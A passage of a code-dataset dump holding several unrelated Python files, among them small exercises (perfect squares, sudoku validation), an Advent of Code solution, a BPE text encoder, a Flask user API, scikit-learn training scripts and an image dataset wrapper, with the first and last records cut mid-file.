color=color)\nplt.show()\n","sub_path":"Software/Code_testing/tf_tutorial.py","file_name":"tf_tutorial.py","file_ext":"py","file_size_in_byte":7223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"444658819","text":"# Author: Vidhi Panda \n# Find perfect Squares\n\n\ndef main():\n n = int(input())\n l = []\n for i in range(1, n+1):\n if n % i == 0:\n l.append(i)\n if len(l) % 2 == 0:\n print('Not a perfect square')\n else:\n print('Perfect Square')\n\n\nmain()\n","sub_path":"perfect_square.py","file_name":"perfect_square.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"591706588","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\ncheck = [1,2,3,4,5,6,7,8,9] #스도쿠 검증 리스트\nfor tc in range(1,T+1):\n arr = []\n row_cnt = [0] * 9\n for i in range(9):\n temp = []\n temp = list(map(int,input().split()))\n if sorted(temp) == check:\n row_cnt[i] = 1 #행에 스도쿠 가능한지 확인\n arr.append(temp)\n #print(arr) #배열 잘 받았는지 확인\n #print(row_cnt)\n col_cnt = [0]*9\n for j in range(9): #열 중심\n temp1 = 0\n for i in range(9):\n temp1 += arr[i][j]\n if temp1 == 45:\n col_cnt[j] = 1\n #print(col_cnt)\n\n sum1 = 0\n squre_cnt = [0] * 9\n a = 0\n b = 0\n cnt = 0\n for i in range(a,9,a+3):\n for j in range(b,9,b+3): #정사각형\n for x in range(i,i+3):\n for y in range(j,j+3):\n sum1 += arr[x][y]\n if sum1 == 45:\n squre_cnt[cnt] = 1\n cnt += 1\n\n #print(squre_cnt)\n result = 0\n for i in range(9): #row_cnt, col_cnt 안에 있는 리스트 요소들이 모두 다 1이어야 하므로 더해서 18일때만 사각형안의 조건을 봐준다\n if sum(row_cnt) + sum(col_cnt) == 18 and squre_cnt[i] == 1:\n result = 1\n\n print('#{} {}'.format(tc, result))","sub_path":"SWEA/1974_스도쿠검증/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"284421963","text":"#В первый день дежурства сотрудник ДПС оштрафовал 5 водителей. Каждый\n#последующий день он штрафует на одного водителя больше. Определить, сколько\n#водителей было оштрафовано в N-й день? за N дней? (N – число, вводимое с клавиатуры)\n\nn = int(input('Введите номер дня '))\ns = 5\nsn = 5\n\nfor j in range(1, n):\n s = s + 1\n sn = sn + s\n\nprint(f'в {n}ый день было оштрафовано {s}, всего за {n} дней оштрафовано {sn}')","sub_path":"loops/020720, Loops/dps.py","file_name":"dps.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"251509746","text":"fin = open('input_21.txt')\n\nfood = [] # tuple of sets of ingredients and allegens\n\nfoods_with_allergen = {} # list of food indices for each allergen\nfoods_with_ingredient = {} # list of food indices for each ingredient\n\n\nfor ln,line in enumerate(fin):\n allergens = line[line.index('(contains ')+10:line.index(')')].split(', ')\n ingredients = line[:line.index('(')-1].split(' ')\n food.append((set(ingredients),set(allergens)))\n for allergen in allergens:\n try:\n foods_with_allergen[allergen].append(ln)\n except KeyError:\n foods_with_allergen[allergen] = [ln]\n for ingredient in ingredients:\n try:\n foods_with_ingredient[ingredient].append(ln)\n except KeyError:\n foods_with_ingredient[ingredient] = [ln]\n\nfin.close()\n\n#print(food)\n#print(foods_with_ingredient)\n#print(foods_with_allergen)\n\n# filtering allergen candidates\n\nallergen_could_be = {}\n\nfor allergen in foods_with_allergen:\n foods = foods_with_allergen[allergen]\n print(allergen,'in',foods)\n common_ingr = set(food[foods[0]][0])\n for entry in foods[1:]:\n common_ingr = common_ingr.intersection(food[entry][0])\n # print(allergen,common_ingr)\n allergen_could_be[allergen] = common_ingr\n\nprint(allergen_could_be)\n\n# removing ambiguities\n\nfinished = False\n\nwhile not finished:\n finished = True\n for allergen in allergen_could_be:\n candidates = allergen_could_be[allergen]\n if len(candidates) == 1:\n for allergen_check in allergen_could_be:\n if allergen_check == allergen:\n continue\n else:\n allergen_could_be[allergen_check] = allergen_could_be[allergen_check].difference(candidates)\n else:\n finished = False\n\nprint(allergen_could_be)\n\nevil_ingr = set()\n\nfor entry in allergen_could_be:\n evil_ingr = evil_ingr.union(allergen_could_be[entry])\n\nprint(evil_ingr)\n\ngoodcount = 0\n\nfor entry in food:\n for ingr in entry[0]:\n if ingr not in evil_ingr:\n goodcount += 1\n\nprint(\"Occurences of good stuff:\",goodcount)\n\nevillist = []\n\nfor entry in allergen_could_be:\n evillist.append([entry,list(allergen_could_be[entry])[0]])\n\nevillist.sort(key=lambda entry: entry[0])\nprint(\"Canonical evil stuff:\",[entry[1] for entry in evillist])\n","sub_path":"aoc_21b.py","file_name":"aoc_21b.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"532731662","text":"\"\"\"\nConvert plain text to format accepted by model (token idxs + special tokens)\n\"\"\"\nimport re\nimport json\nimport os\nimport warnings\n\nimport ftfy\nimport spacy\nfrom tqdm import tqdm\n\nfrom finetune.config import MAX_LENGTH\n\nENCODER_PATH = os.path.join(os.path.dirname(__file__), 'model/encoder_bpe_40000.json')\nBPE_PATH = os.path.join(os.path.dirname(__file__), 'model/vocab_40000.bpe')\n\n\ndef get_pairs(word):\n \"\"\"\n Return set of symbol pairs in a word.\n word is represented as tuple of symbols (symbols being variable-length strings)\n \"\"\"\n pairs = set()\n prev_char = word[0]\n for char in word[1:]:\n pairs.add((prev_char, char))\n prev_char = char\n return pairs\n\n\ndef text_standardize(text):\n \"\"\"\n Fixes some issues the spacy tokenizer had on books corpus\n Also handles whitespace standardization\n \"\"\"\n text = text.replace('—', '-')\n text = text.replace('–', '-')\n text = text.replace('―', '-')\n text = text.replace('…', '...')\n text = text.replace('´', \"'\")\n text = re.sub('''(-+|~+|!+|\"+|;+|\\?+|\\++|,+|\\)+|\\(+|\\\\+|\\/+|\\*+|\\[+|\\]+|}+|{+|\\|+|_+)''', r' \\1 ', text)\n text = re.sub('\\s*\\n\\s*', ' \\n ', text)\n text = re.sub('[^\\S\\n]+', ' ', text)\n return ftfy.fix_text(text.strip().lower())\n\n\nclass TextEncoder(object):\n \"\"\"\n Mostly a wrapper for a public python BPE tokenizer\n \"\"\"\n UNK_IDX = 0\n\n def __init__(self):\n self.nlp = spacy.load('en', disable=['parser', 'tagger', 'ner', 'textcat'])\n self.encoder = json.load(open(ENCODER_PATH))\n self.decoder = {v: k for k, v in self.encoder.items()}\n\n self.special_tokens = ['_start_', '_delimiter_', '_classify_']\n for token in self.special_tokens:\n self.encoder[token] = len(self.encoder)\n\n merges = open(BPE_PATH).read().split('\\n')[1:-1]\n merges = [tuple(merge.split()) for merge in merges]\n self.bpe_ranks = dict(zip(merges, range(len(merges))))\n self.cache = {}\n self.start = self.encoder['_start_']\n self.delimiter = self.encoder['_delimiter_']\n self.clf_token = self.encoder['_classify_']\n\n @property\n def vocab_size(self):\n return len(self.encoder)\n\n def __getitem__(self, key):\n return self.encoder[key]\n\n def __setitem__(self, key, value):\n self.encoder[key] = value\n\n def bpe(self, token):\n word = tuple(token[:-1]) + (token[-1] + '',)\n if token in self.cache:\n return self.cache[token]\n pairs = get_pairs(word)\n\n if not pairs:\n return token + ''\n\n while True:\n bigram = min(pairs, key=lambda pair: self.bpe_ranks.get(pair, float('inf')))\n if bigram not in self.bpe_ranks:\n break\n first, second = bigram\n new_word = []\n i = 0\n while i < len(word):\n try:\n j = word.index(first, i)\n new_word.extend(word[i:j])\n i = j\n except:\n new_word.extend(word[i:])\n break\n\n if word[i] == first and i < len(word) - 1 and word[i + 1] == second:\n new_word.append(first + second)\n i += 2\n else:\n new_word.append(word[i])\n i += 1\n new_word = tuple(new_word)\n word = new_word\n if len(word) == 1:\n break\n else:\n pairs = get_pairs(word)\n word = ' '.join(word)\n if word == '\\n ':\n word = '\\n'\n self.cache[token] = word\n return word\n\n def encode(self, texts, verbose=True):\n \"\"\"\n Convert a batch of raw text to a batch of byte-pair encoded token indices.\n \"\"\"\n batch_token_idxs = []\n\n if verbose:\n texts = tqdm(texts, ncols=80, leave=False)\n\n for text in texts:\n text = self.nlp(text_standardize(text))\n token_idxs = []\n for token in text:\n token_idxs.extend([\n self.encoder.get(t, self.UNK_IDX)\n for t in self.bpe(token.text).split()\n ])\n batch_token_idxs.append(token_idxs)\n return batch_token_idxs\n\n def encode_for_classification(self, texts, max_length=MAX_LENGTH, verbose=True):\n \"\"\"\n Convert a batch of raw text to btye-pair encoded token indices,\n and add appropriate special tokens to match expected model input\n \"\"\"\n batch_token_idxs = self.encode(texts, verbose=verbose)\n # account for start + end tokens\n adjusted_max_length = max_length - 2\n if any([len(token_idxs) > adjusted_max_length for token_idxs in batch_token_idxs]):\n warnings.warn(\"Document is longer than max length allowed, trimming document to {} tokens.\".format(\n max_length\n ))\n batch_token_idxs = [\n [self.start] + token_idxs[:adjusted_max_length] + [self.clf_token]\n for token_idxs in batch_token_idxs\n ]\n return batch_token_idxs\n\n def encode_for_comparison(self, texts, max_length=MAX_LENGTH, verbose=True):\n pass\n\n def encode_for_entailment(self, question, answer, max_length=MAX_LENGTH, verbose=True):\n question_ids = self.encode(question)\n answer_ids = self.encode(answer)\n adjusted_max_length = max_length - 3\n\n half_max_len = adjusted_max_length // 2 # Initial allocation for question\n question_answer_pairs = []\n for qid, aid in zip(question_ids, answer_ids):\n q = len(qid)\n a = len(aid)\n spare = max(0, half_max_len - min(q, a))\n q_adj = min(q, half_max_len + spare)\n a_adj = min(a, half_max_len + spare)\n\n question_answer_pairs.append([self.start] + qid[:q_adj] + [self.delimiter] + aid[:a_adj] + [self.clf_token])\n\n return question_answer_pairs\n\n def encode_multi_input(self, *Xs, max_length=MAX_LENGTH, verbose=True):\n encoded = [self.encode(x) for x in Xs]\n num_samples = len(encoded)\n adjusted_max_length = max_length - num_samples - 1\n allocated_max_len = adjusted_max_length // num_samples\n outputs = []\n for single_datum in zip(*encoded):\n overflows = [allocated_max_len - len(sequence) for sequence in single_datum]\n spare = sum(overflows)\n if spare >= 0:\n cut_len = None\n else:\n empty_tokens = sum(max(overflow, 0) for overflow in overflows)\n num_over = [min(overflow, 0) for overflow in overflows].count(0)\n cut_len = allocated_max_len + (empty_tokens // num_over)\n joined = [self.start]\n for d in single_datum:\n joined += (d[:cut_len] + [self.delimiter])\n joined = joined[:-1] + [self.clf_token]\n outputs.append(joined)\n return outputs\n","sub_path":"finetune/encoding.py","file_name":"encoding.py","file_ext":"py","file_size_in_byte":7052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"547659421","text":"from flask import Flask, request, jsonify, redirect\nfrom flask_cors import CORS, cross_origin\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom config import app\nfrom handler.user import UserHandler\n\n\n@app.route('/')\ndef index():\n return 'Welcome to Disaster Aid Distribution App!'\n\n\n@app.route(\"/DAD/users\", methods=['GET', 'POST'])\ndef getall_or_create_users():\n if request.method == 'GET':\n return UserHandler().get_all_users()\n elif request.method == 'POST':\n return UserHandler().create_user(request.json)\n else:\n return jsonify(message=\"Method not allowed.\"), 405\n\n\n@app.route('/DAD/users/', methods=['GET', 'PUT', 'DELETE'])\ndef get_user_by_id(uid):\n if request.method == 'GET':\n return UserHandler().get_user_by_id(uid)\n elif request.method == 'PUT':\n return UserHandler().update_user(uid, request.json)\n elif request.method == 'DELETE':\n return UserHandler().delete_user(uid)\n else:\n return jsonify(message=\"Method not allowed.\"), 405\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"143861431","text":"from sklearn.datasets import load_digits\r\nimport matplotlib.pyplot as plt\r\nimport sklearn.model_selection as tst\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n\r\ndef main():\r\n digits = load_digits()\r\n print(digits.keys())\r\n\r\n plt.gray()\r\n plt.imshow(digits.images[0])\r\n plt.show()\r\n\r\n print(digits.target[0]) # check correspondence\r\n\r\n x_train, x_test, y_train, y_test = tst.train_test_split(digits.data, digits.target, test_size=0.2)\r\n\r\n model = KNeighborsClassifier(n_neighbors=5, metric='euclidean') # train KK\r\n model.fit(x_train, y_train)\r\n y_pred_kk = model.predict(x_test)\r\n\r\n clf = LinearDiscriminantAnalysis() # train lda\r\n clf.fit(x_train, y_train)\r\n y_pred_lda = clf.predict(x_test)\r\n\r\n clf_svc = SVC(gamma='auto') # train SVM\r\n clf_svc.fit(x_train, y_train)\r\n y_pred_svc = clf_svc.predict(x_test)\r\n\r\n clf_lr = LogisticRegression() # train LR\r\n clf_lr.fit(x_train, y_train) # LogisticRegression(random_state=0, solver='lbfgs', multi_class='multinomial')\r\n y_pred_lr = clf_lr.predict(x_test)\r\n\r\n print(\"kk: \", accuracy_score(y_test, y_pred_kk), \"lda: \", accuracy_score(y_test, y_pred_lda))\r\n print(\"svc: \", accuracy_score(y_test, y_pred_svc), \"lr: \", accuracy_score(y_test, y_pred_lr))\r\n\r\n\r\nmain()\r\n","sub_path":"EX3T3.py","file_name":"EX3T3.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"76629897","text":"import json\nimport pickle\n\nimport pandas as pd\n\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import StandardScaler, OneHotEncoder\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_absolute_error\n\n\ndef train(df):\n y = (df['issued_date'] - df['submitted_date']).dt.days\n\n X = df.drop([\n 'issued_date',\n 'submitted_date',\n ], axis=1)\n\n numeric_features = [\n 'permit_lot_size',\n ]\n numeric_transformer = Pipeline(steps=[\n ('imputer', SimpleImputer(strategy='median')),\n ('scaler', StandardScaler())])\n\n categorical_features = [\n 'permit_type',\n 'permit_subtype',\n # 'inspector',\n ]\n categorical_transformer = Pipeline(steps=[\n ('imputer', SimpleImputer(strategy='constant', fill_value='missing')),\n ('onehot', OneHotEncoder(handle_unknown='ignore'))])\n\n preprocessor = ColumnTransformer(\n transformers=[\n ('num', numeric_transformer, numeric_features),\n ('cat', categorical_transformer, categorical_features)])\n\n model = Pipeline(steps=[('preprocessor', preprocessor),\n ('classifier', LinearRegression())])\n\n X_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.3, random_state=1)\n\n model.fit(X_train, y_train)\n\n metrics = {\n 'train_data': {\n 'score': model.score(X_train, y_train),\n 'mae': mean_absolute_error(y_train, model.predict(X_train)),\n },\n 'test_data': {\n 'score': model.score(X_test, y_test),\n 'mae': mean_absolute_error(y_test, model.predict(X_test)),\n },\n }\n\n return metrics, model\n\n\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument('input_file', help='cleaned data file (CSV)')\n parser.add_argument('output_file', help='trained model (PKL)')\n parser.add_argument(\n '-v', '--verbose', action='store_true',\n help='display metrics',\n )\n args = parser.parse_args()\n\n input_data = pd.read_csv(\n args.input_file,\n parse_dates=['submitted_date', 'issued_date'],\n )\n\n metrics, model = train(input_data)\n\n if args.verbose:\n print(json.dumps(metrics, indent=2))\n\n with open(args.output_file, 'wb+') as out:\n pickle.dump(model, out)\n","sub_path":"permits_train.py","file_name":"permits_train.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"538343959","text":"# Переписать функцию ask_user(), добавив обработку exception-ов\n# Добавить перехват ctrl+C и прощание\n\n\ndef ask_user(user_say):\n while True:\n try:\n user_say = input('Сколько тебе лет? ')\n age = 2017 - int(user_say)\n return age\n except (ValueError):\n return \"ошибочное значение возраста\"\n except (KeyboardInterrupt):\n return \"остановка по ctrl+c\"\n\nuser_say = str\nprint(ask_user(user_say)) ","sub_path":"exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"571681148","text":"from pathlib import Path\nfrom easydict import EasyDict\nfrom typing import Dict, List, Union, Callable, Tuple\n\nimport cv2\nimport torch\nimport numpy as np\n# import torchvision.transforms.functional as tf\nfrom .....networks.modules.preprocess.normalizer import to_tensor,normalize\nimport albumentations.core.composition as albumentations_compose\nimport albumentations.augmentations.transforms as albumentations_tf\nfrom PIL import Image\nimport warnings\n\nfrom ...augment import create_transform\nfrom .basic_wrapper import BasicDatasetWrapper\n\nclass DefaultDatasetWrapper(BasicDatasetWrapper):\n \"\"\" Intermediate wrapper for external dataset.\n\n This module is used to build external dataset and act as a dataset iterator\n which also applies preprocess stages for the output of external dataset.\n\n Automatically read image file using opencv if the provided 'image' data is image path\n\n The image input will automatically be resized to desired `input_size` from\n `preprocess_args` retrieved from config.\n\n\n Args:\n dataset (str): external dataset name to be built. see available (###input context here).\n stage (str): stages in which the dataset be used, valid: `train` and `validate`.\n preprocess_args (EasyDict): pre-process options for input image from config, see (###input context here).\n augments (sequence, or callable): augmentations to be applied to the output of external dataset, see (###input context here).\n \"\"\"\n\n def __init__(self, dataset: str, stage: str, preprocess_args: Union[EasyDict, dict],\n augmentations: Union[Tuple[str, dict], List, Callable] = None,\n dataset_args: Union[EasyDict, dict] = {},\n ):\n super().__init__(dataset=dataset,\n stage=stage,\n preprocess_args=preprocess_args,\n augmentations=augmentations,\n dataset_args=dataset_args,\n )\n # Configured computer vision augmentation initialization\n self.augments = None\n\n if stage == 'train' and self.augmentations_list is not None:\n self.augments = []\n for augment in self.augmentations_list:\n module_name = augment.module\n if module_name == 'nvidia_dali':\n raise RuntimeError('Nvidia DALI augmentations cannot be used with `PytorchDataLoader`, must be used with \\\n `DALIDataLoader`. ')\n module_args = augment.args\n if not isinstance(module_args, dict):\n raise TypeError(\"expect augmentation module's args value to be dictionary, got %s\" % type(module_args))\n tf_kwargs = module_args\n tf_kwargs['data_format'] = self.data_format\n augments = create_transform(module_name, **tf_kwargs)\n self.augments.append(augments)\n\n # Standardized computer vision augmentation initialization, longest resize and pad to square\n self.standard_tf_kwargs = EasyDict()\n self.standard_tf_kwargs.data_format = self.data_format\n self.standard_tf_kwargs.transforms = [\n {'transform': 'LongestMaxSize', 'args': {'max_size': preprocess_args.input_size}},\n {'transform': 'PadIfNeeded', 'args': {'min_height': preprocess_args.input_size,\n 'min_width': preprocess_args.input_size,\n 'border_mode': cv2.BORDER_CONSTANT,\n 'value': [0, 0, 0]}},\n ]\n\n self.standard_augments = create_transform(\n 'albumentations', **self.standard_tf_kwargs)\n\n def disable_image_auto_pad(self):\n self.image_auto_pad = False\n\n # Reinitialize standard augments if disable padding\n self.standard_tf_kwargs.transforms = [transform for transform in self.standard_tf_kwargs.transforms if transform['transform']!='PadIfNeeded']\n\n self.standard_augments = create_transform(\n 'albumentations', **self.standard_tf_kwargs)\n\n def __getitem__(self, index: int):\n image, target = super().__getitem__(index)\n # Currently support decoding image file provided it's string path using OpenCV (BGR format), for future roadmap if using another decoder\n if isinstance(image, str):\n image = cv2.imread(image)\n\n # If dataset is PIL Image, convert to numpy array, support for torchvision dataset\n elif isinstance(image, Image.Image):\n image = np.array(image)\n\n # From this point, until specified otherwise, image is in numpy array format\n elif isinstance(image, np.ndarray):\n pass\n else:\n raise RuntimeError(\"Unknown return format of %s\" % type(image))\n\n # Configured computer vision augment -- START\n if self.stage == 'train' and self.augments is not None:\n # Out of image shape coordinates adaptation -- START\n image, target = check_and_fix_coordinates(\n image, target, self.data_format)\n # Out of image shape coordinates adaptation -- END\n for augment in self.augments:\n image, target = augment(image, target)\n if target.shape[0] < 1:\n raise RuntimeError(\"The configured augmentations resulting in 0 shape target!! Please check your augmentation and avoid this!!\")\n if not isinstance(image, Image.Image) and not isinstance(image, np.ndarray):\n raise RuntimeError('Expected augmentation output in PIL.Image.Image or numpy.ndarray format, got %s ' % type(image))\n if (np.all(image >= 0.) and np.all(image <= 1.)) or isinstance(image, torch.Tensor):\n pixel_min, pixel_max = np.min(image), np.max(image)\n if pixel_min == 0. and pixel_max == 0.:\n raise RuntimeError('Augmentation image output producing blank image ( all pixel value == 0 ), please check and visualize your augmentation process!!')\n else:\n raise RuntimeError('Augmentation image output expect unnormalized pixel value (0-255), got min %2.2f and max %2.2f' % (pixel_min, pixel_max))\n # Configured computer vision augment -- END\n # Standard computer vision augment -- START\n image, target = self.standard_augments(image, target)\n if self.stage == 'train':\n input_normalization = self.preprocess_args.input_normalization\n if 'scaler' not in input_normalization:\n input_normalization.scaler=255\n image = torch.from_numpy(np.expand_dims(image, axis=0))\n image = to_tensor(image,scaler=input_normalization.scaler)\n image = normalize(\n image, input_normalization.mean, input_normalization.std).squeeze(0)\n # Standard computer vision augment -- END\n if not isinstance(target, torch.Tensor):\n if isinstance(target, np.ndarray):\n target = torch.from_numpy(target)\n else:\n raise RuntimeError(\n 'unsupported data type for target, got %s' % type(target))\n\n data = image, target\n return data\n\ndef check_and_fix_coordinates(image: np.ndarray, target: np.ndarray, data_format: EasyDict):\n # Check bounding box coordinates\n if 'bounding_box' in data_format:\n box_indices, box_axis = data_format.bounding_box.indices, data_format.bounding_box.axis\n # # VIZ DEBUG\n # ori_vis_image = image.copy()\n # h, w, c = ori_vis_image.shape\n # allbboxes = np.take(\n # target, axis=box_axis, indices=box_indices)\n # for bbox in allbboxes:\n # x = int(bbox[0]*w)\n # y = int(bbox[1]*h)\n # box_w = int(bbox[2]*w)\n # box_h = int(bbox[3]*h)\n # cv2.rectangle(ori_vis_image, (x, y),\n # (x+box_w, y+box_h), (0, 0, 255), 2)\n # cv2.imshow('ori', ori_vis_image)\n # # VIZ DEBUG\n\n # Slice all xy min coords\n allbboxes_xy = np.take(target, axis=box_axis, indices=box_indices[0:2])\n # Evaluate all xy min coords less than 0 (relative coords) and update value to 0\n allbboxes_xy[np.where(allbboxes_xy < 0)] = 0\n # Slice all wh and calculate xymax\n allbboxes_wh = np.take(target, axis=box_axis, indices=box_indices[2:4])\n allbboxes_xymax = allbboxes_xy+allbboxes_wh\n # Evaluate all xy max coords more than 0.99 (relative coords) and update value to 0.99\n # Why not 1? Risk of overflow even 1e-5 more than 1 cause albumentations error\n allbboxes_xymax[np.where(allbboxes_xymax > 1)] = 1\n # Get new wh after update\n allbboxes_wh = allbboxes_xymax-allbboxes_xy\n\n # Update target tensor\n np.put_along_axis(target, values=allbboxes_xy, indices=np.array(box_indices[0:2])[np.newaxis, :], axis=box_axis)\n np.put_along_axis(target, values=allbboxes_wh, indices=np.array(box_indices[2:4])[np.newaxis, :], axis=box_axis)\n target = target.astype('float32')\n # # VIZ DEBUG\n # fixed_vis_image = image.copy()\n # allbboxes = np.take(\n # target, axis=box_axis, indices=box_indices)\n # for bbox in allbboxes:\n # x = int(bbox[0]*w)\n # y = int(bbox[1]*h)\n # box_w = int(bbox[2]*w)\n # box_h = int(bbox[3]*h)\n # cv2.rectangle(fixed_vis_image, (x, y),\n # (x+box_w, y+box_h), (0, 0, 255), 2)\n # cv2.imshow('fixed', fixed_vis_image)\n # cv2.waitKey(0)\n # # VIZ DEBUG\n\n if 'landmarks' in data_format:\n # Get image shape\n img_h, img_w, c = image.shape\n # Slice landmarks tensor\n landmarks_indices, landmarks_axis = data_format.landmarks.indices, data_format.landmarks.axis\n landmarks_tensor = np.take(target, axis=landmarks_axis,indices=landmarks_indices\n )\n # Prepare bounding_box_modification\n if 'bounding_box' in data_format:\n box_indices, box_axis = data_format.bounding_box.indices, data_format.bounding_box.axis\n allbboxes = np.take(target, axis=box_axis, indices=box_indices)\n # Convert xywh to abs coords\n allbboxes[:, [box_indices[0], box_indices[2]]] *= img_w\n allbboxes[:, [box_indices[1], box_indices[3]]] *= img_h\n\n # Get x,y slice\n n_pairs = len(landmarks_tensor[0]) // 2\n landmarks_x = landmarks_tensor[:, 0:n_pairs*2:2]\n landmarks_y = landmarks_tensor[:, 1:n_pairs*2:2]\n\n # Convert to absolute value\n abs_landmarks_x = (landmarks_x*img_w).astype('int')\n abs_landmarks_y = (landmarks_y*img_h).astype('int')\n\n # # VIZ DEBUG\n # ori_vis_image = image.copy()\n # for bbox in allbboxes:\n # x = int(bbox[0])\n # y = int(bbox[1])\n # box_w = int(bbox[2])\n # box_h = int(bbox[3])\n # cv2.rectangle(ori_vis_image, (x, y),\n # (x+box_w, y+box_h), (0, 0, 255), 2)\n # for j, landmark in enumerate(abs_landmarks_x):\n # for i, landmark_x in enumerate(landmark):\n # x = int(landmark_x)\n # y = int(abs_landmarks_y[j][i])\n # cv2.circle(ori_vis_image, (x, y),\n # 2, (0, 0, 255), -1)\n # # VIZ DEBUG\n\n # Get minimum and maximum coordinates both on x and y\n min_x = np.min(abs_landmarks_x)\n max_x = np.max(abs_landmarks_x)\n min_y = np.min(abs_landmarks_y)\n max_y = np.max(abs_landmarks_y)\n\n # Calculate padded border to accomodate out of bonds landmarks\n left_border = 0\n right_border = 0\n top_border = 0\n bottom_border = 0\n modify = False\n if min_x < 0:\n left_border = int(0-min_x)\n abs_landmarks_x += left_border\n if 'bounding_box' in data_format:\n allbboxes[:, box_indices[0]] += left_border\n modify = True\n if min_y < 0:\n top_border = int(0-min_y)\n abs_landmarks_y += top_border\n if 'bounding_box' in data_format:\n allbboxes[:, box_indices[1]] += top_border\n modify = True\n if max_x > img_w:\n right_border = int(max_x-img_w)\n modify = True\n if max_y > img_h:\n bottom_border = int(max_y-img_h)\n modify = True\n\n # Modify if any modification is needed\n if modify:\n # Pad image\n pad_color = [0, 0, 0]\n image = cv2.copyMakeBorder(image, top_border, bottom_border, left_border, right_border, cv2.BORDER_CONSTANT,value=pad_color)\n new_img_h, new_img_w, c = image.shape\n # Modify bounding boxes annotations if any\n if 'bounding_box' in data_format:\n allbboxes[:, [box_indices[0], box_indices[2]]] /= new_img_w\n allbboxes[:, [box_indices[1], box_indices[3]]] /= new_img_h\n np.put_along_axis(target, values=allbboxes, indices=np.array(box_indices)[np.newaxis, :], axis=box_axis)\n # Modify landmarks tensor\n landmarks_x = abs_landmarks_x / new_img_w\n landmarks_y = abs_landmarks_y / new_img_h\n\n landmarks_tensor[:, 0:n_pairs*2:2] = landmarks_x\n landmarks_tensor[:, 1:n_pairs*2:2] = landmarks_y\n np.put_along_axis(target, values=landmarks_tensor, indices=np.array(landmarks_indices)[np.newaxis, :], axis=landmarks_axis)\n\n # # VIZ DEBUG\n # cv2.imshow('ori', ori_vis_image)\n # fix_vis_image = image.copy()\n # box_indices, box_axis = data_format.bounding_box.indices, data_format.bounding_box.axis\n # allbboxes = np.take(\n # target, axis=box_axis, indices=box_indices)\n # allbboxes[:, [box_indices[0], box_indices[2]]] *= new_img_w\n # allbboxes[:, [box_indices[1], box_indices[3]]] *= new_img_h\n # landmarks_indices, landmarks_axis = data_format.landmarks.indices, data_format.landmarks.axis\n # landmarks_tensor = np.take(\n # target, axis=landmarks_axis,\n # indices=landmarks_indices\n # )\n # n_pairs = len(landmarks_tensor[0]) // 2\n # landmarks_x = landmarks_tensor[:, 0:n_pairs*2:2]\n # landmarks_y = landmarks_tensor[:, 1:n_pairs*2:2]\n # abs_landmarks_x = (landmarks_x*new_img_w).astype('int')\n # abs_landmarks_y = (landmarks_y*new_img_h).astype('int')\n # for bbox in allbboxes:\n # x = int(bbox[0])\n # y = int(bbox[1])\n # box_w = int(bbox[2])\n # box_h = int(bbox[3])\n # cv2.rectangle(fix_vis_image, (x, y),\n # (x+box_w, y+box_h), (0, 0, 255), 2)\n # for j, landmark in enumerate(abs_landmarks_x):\n # for i, landmark_x in enumerate(landmark):\n # x = int(landmark_x)\n # y = int(abs_landmarks_y[j][i])\n # cv2.circle(fix_vis_image, (x, y),\n # 2, (0, 0, 255), -1)\n # cv2.imshow('fix', fix_vis_image)\n # cv2.waitKey(0)\n # # VIZ DEBUG\n return image, target","sub_path":"src/development/vortex/development/utils/data/dataset/wrapper/default_wrapper.py","file_name":"default_wrapper.py","file_ext":"py","file_size_in_byte":15462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"380444050","text":"\"\"\"\nCreated on 20.04.2012\n\n@author: Robert Schuster\n\"\"\"\nfrom Logger import Logger\nfrom ShellScriptHelper import ShellScript\n\n\nclass NCLscript(ShellScript):\n \"\"\"\n This class represents an ncl script together with all its arguments\n \"\"\"\n\n def addArgument(self, argument, value):\n \"\"\"\n Add an argument to the script\n @param argument: name of the argument\n @param value: value of the argument\n \"\"\"\n # check the argument\n if not isinstance(argument, str):\n Logger.Error(\"NCLhelper, addArgument: the argument name must be a string!\")\n return\n self.arguments.append((argument, value))\n\n def __getArgValueString(self, argument):\n \"\"\"\n @return: A string representation of the argument\n \"\"\"\n result = \"\"\n # call the method recursive if a list is found\n if isinstance(argument, list):\n result += \"(/\"\n for x in range(len(argument)):\n result += self.__getArgValueString(argument[x])\n if x < len(argument) - 1:\n result += \",\"\n result += \"/)\"\n # string type\n elif isinstance(argument, str):\n result += \"\\\"\" + argument + \"\\\"\"\n # integer of float\n elif isinstance(argument, int) or 